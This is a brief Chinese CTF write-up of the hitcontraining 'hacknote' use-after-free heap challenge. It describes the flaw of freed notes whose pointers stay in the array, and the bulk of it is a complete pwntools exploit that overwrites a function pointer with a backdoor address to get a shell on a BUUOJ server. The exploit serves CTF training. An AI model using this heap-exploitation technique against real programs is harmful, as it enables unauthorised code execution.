題如其名 hitcontraining uaf

2022-07-03 10:15:11 字數 1483 閱讀 9591

堆體經典結構

建立的堆的結構

1個陣列用來存放建立的堆的位址,一次建立兩個堆,第乙個存放函式指標和第二個堆的位址,第二個堆存放內容

刪除操作發現只刪除了兩個堆,並沒有刪除陣列中的位址,存在uaf漏洞

發現乙個後門函式

這個列印功能使用了函式指標,所以只要控制陣列中的位址修改為shell就行了

exp:

from pwn import *

#p=process('./hacknote')

p=remote('node3.buuoj.cn',29702)

def add(size,context):

p.sendlineafter("choice :","1")

p.sendlineafter("size :",str(size))

p.sendlineafter("content :",str(context))

def delete(index):

p.sendlineafter("choice :","2")

p.sendlineafter("index :",str(index))

def printf(index):

p.sendlineafter("choice :","3")

p.sendlineafter("index :",str(index))

add(16,'aaa')

add(16,'aaa')

delete(1)

delete(0)

payload=0x08048945

add(8,p32(payload))

printf(1)

p.interactive()

得到flag

這種堆題結構大多有乙個陣列存放位址,而大部分功能圍繞陣列來,只要控制陣列就行